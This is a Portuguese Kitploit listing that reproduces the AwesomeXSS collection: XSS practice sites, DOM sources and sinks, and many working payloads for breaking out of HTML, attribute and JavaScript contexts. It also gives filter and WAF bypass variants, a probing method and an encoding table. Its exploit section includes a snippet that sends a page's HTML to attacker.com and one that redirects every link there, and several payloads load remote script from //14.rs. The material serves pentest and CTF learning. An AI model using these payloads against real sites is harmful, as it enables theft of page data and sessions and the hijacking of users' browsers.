Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
AwesomeXSS — Coisas incríveis de XSS | Kitploit
Ferramentas/GitHubGitHub/s0md3v/awesomexss
Geração de PayloadsBypass de WAFSegurança WebCTFPapers e PesquisaAprendizado e EducaçãoRecursos CuradosTrilhas e CursosLabs e Prática
GitHubs0md3v/awesomexss

AwesomeXSS

Coisas incríveis de XSS

5.1k78232há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

AwesomeXSS

Este repositório é uma coleção de recursos Awesome sobre XSS. Contribuições são bem-vindas e devem ser submetidas através de uma issue.

Conteúdo incrível

  • Desafios
  • Leituras e Apresentações
  • Ferramentas
  • Mapas mentais
  • DOM XSS
  • Payloads
  • Poliglotas
  • Tags e manipuladores de eventos
  • Quebra de contexto
    • Contexto HTML
    • Contexto de atributo
    • Contexto JavaScript
  • Variantes de Confirm
  • Exploits
  • Sondagem
  • Bypassing
  • Codificação
  • Dicas e truques

Desafios Incríveis

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Leituras e Apresentações Incríveis

  • Bypassing XSS Detection Mechanisms
  • XSS no Facebook via PNG Content Type
  • How I met your girlfriend
  • Como encontrar 1.352 vulnerabilidades XSS em plugins WordPress em uma hora
  • Blind XSS
  • Copy Pest

Ferramentas Incríveis

  • XSStrike
  • BeEF
  • JShell

Mapas Mentais Incríveis sobre XSS

Um belo mapa mental XSS por Jack Masa, aqui

DOM XSS Incrível

  • O seu input vai para um sink? Vulnerável
  • Não vai? Não vulnerável

Fonte: Um input que pode ser controlado por uma fonte externa (não confiável).

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 ou posterior apenas)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: Um método potencialmente perigoso que pode levar a uma vulnerabilidade. Neste caso, um DOM Based XSS.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Esta lista abrangente de sinks e fontes foi retirada de domxsswiki.

Payloads Incríveis

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Poliglotas Incríveis

Aqui está um poliglota XSS que fiz e que pode quebrar 20+ contextos:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explicação de como funciona, aqui

Tags e Manipuladores de Eventos Incríveis

  • 105 manipuladores de eventos com descrição
  • 200 manipuladores de eventos sem descrição

Alguns manipuladores de eventos menos detectados

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Algumas tags HTML que você usará

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Quebra de Contexto Incrível

Contexto HTML

Caso: <tag>Você pesquisou por $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

Contexto de Atributo

Caso: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

Contexto JavaScript

Caso: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Variantes Incríveis de Confirm

Sim, confirm porque alert é muito mainstream.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Exploits Incríveis

Substituir todos os links
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
Ladrão de Código Fonte
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Sondagem Incrível

Se nada disso funcionar, dê uma olhada na seção Bypassing Incrível

Primeiro, insira uma string não maliciosa como d3v e veja o código fonte para ter uma ideia sobre o número e contextos das reflexões.
Agora, para contexto de atributo, verifique se as aspas duplas (") estão sendo filtradas inserindo x"d3v. Se for alterado para x&quot;d3v, é provável que a saída esteja sendo escapada corretamente. Se isso acontecer, tente o mesmo para aspas simples (') inserindo x'd3v; se for alterado para x&apos;, você está ferrado. A única coisa que pode tentar é codificação.
Se as aspas não estiverem sendo filtradas, você pode simplesmente tentar payloads da seção Quebra de Contexto Incrível.
Para contexto JavaScript, verifique quais aspas estão sendo usadas. Por exemplo, se estão fazendo

root@kitploit:~
variable = 'value' or variable = "value"

Agora, digamos que as aspas simples (') estejam em uso. Nesse caso, insira x'd3v. Se for alterado para x\'d3v, tente escapar a contrabarra () adicionando uma contrabarra ao seu probe, ou seja, x\'d3v. Se funcionar, use o seguinte payload:

root@kitploit:~
\'-alert()//

Mas se for alterado para x\\\'d3v, a única coisa que pode tentar é fechar a própria tag script usando:

root@kitploit:~
</script><svg onload=alert()>

Para contexto HTML simples, o probe é x<d3v. Se for alterado para x&gt;d3v, a sanitização adequada está em vigor. Se for refletido como está, você pode inserir uma tag dummy para verificar possíveis filtros. A tag dummy que gosto de usar é x<xxx>. Se for removida ou alterada de alguma forma, significa que o filtro está procurando um par de < e >. Pode ser facilmente contornado usando:

root@kitploit:~
<svg onload=alert()//

ou isso (não funcionará em todos os casos):

root@kitploit:~
<svg onload=alert()

Se suas tags dummy aparecerem no código fonte como estão, vá para qualquer um destes payloads:

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Bypassing Incrível

Nota: Nenhum desses payloads usa aspas simples (') ou duplas (").

  • Sem manipuladores de eventos
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>clique aqui
<script src=//14.rs></script>
<script>confirm()</script>
  • Sem espaço
root@kitploit:~
<svg/onload=confirm()>

  • Sem barra (/)
root@kitploit:~
<svg onload=confirm()>

  • Sem sinal de igual (=)
root@kitploit:~
<script>confirm()</script>
  • Sem colchete angular de fechamento (>)
root@kitploit:~
<svg onload=confirm()//
  • Sem alert, confirm, prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • Sem uma tag HTML válida
root@kitploit:~
<x onclick=confirm()>clique aqui
<x ondrag=aconfirm()>arraste aqui
  • Bypass de lista negra de tags
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Codificação Incrível

Dicas e Truques Incríveis

  • http(s):// pode ser encurtado para // ou /\\ ou \\.
  • document.cookie pode ser encurtado para cookie. Isso se aplica a outros objetos DOM também.
  • alert e outras funções de pop-up não precisam de um valor, então pare de fazer alert('XSS') e comece a fazer alert()
  • Você pode usar // para fechar uma tag em vez de >.
  • Descobri que confirm é a função de pop-up menos detectada, então pare de usar alert.
  • Aspas em torno do valor do atributo não são necessárias desde que não contenha espaços. Você pode usar <script src=//14.rs> em vez de <script src="//14.rs">

Créditos Incríveis

Todos os payloads são criados por mim, salvo indicação contrária.

Baixar ferramenta
HTMLCharNumericDescriçãoHexCSS (ISO)JS (Octal)URL
&quot;"&#34;aspasu+0022\0022\42%22
&num;#&#35;cerquilhau+0023\0023\43%23
&dollar;$&#36;sinal de dólaru+0024\0024\44%24
&percnt;%&#37;sinal de porcentagemu+0025\0025\45%25
&amp;&&#38;e comercialu+0026\0026\46%26
&apos;'&#39;apóstrofou+0027\0027\47%27
&lpar;(&#40;parêntese esquerdou+0028\0028\50%28
&rpar;)&#41;parêntese direitou+0029\0029\51%29
&ast;*&#42;asteriscou+002A\002a\52%2A
&plus;+&#43;sinal de maisu+002B\002b\53%2B
&comma;,&#44;vírgulau+002C\002c\54%2C
&minus;-&#45;hífen-menosu+002D\002d\55%2D
&period;.&#46;ponto final; pontou+002E\002e\56%2E
&sol;/&#47;sólido; barrau+002F\002f\57%2F
&colon;:&#58;dois-pontosu+003A\003a\72%3A
&semi;;&#59;ponto e vírgulau+003B\003b\73%3B
&lt;<&#60;menor queu+003C\003c\74%3C
&equals;=&#61;igualu+003D\003d\75%3D
&gt;>&#62;maior queu+003E\003e\76%3E
&quest;?&#63;ponto de interrogaçãou+003F\003f\77%3F
&commat;@&#64;arroba; sinal comercialu+0040\0040\100%40
&lsqb;[&#91;colchete esquerdou+005B\005b\133%5B
&bsol;\&#92;contrabarrau+005C\005c\134%5C
&rsqb;]&#93;colchete direitou+005D\005d\135%5D
&Hat;^&#94;acento circunflexou+005E\005e\136%5E
&lowbar;_&#95;linha inferioru+005F\005f\137%5F
&grave;`&#96;acento graveu+0060\0060\u0060%60
&lcub;{&#123;chave esquerdau+007b\007b\173%7b
&verbar;|&#124;barra verticalu+007c\007c\174%7c
&rcub;}&#125;chave direitau+007d\007d\175%7d
  • O payload XSS de contexto HTML mais curto é <script src=//14.rs> (19 caracteres)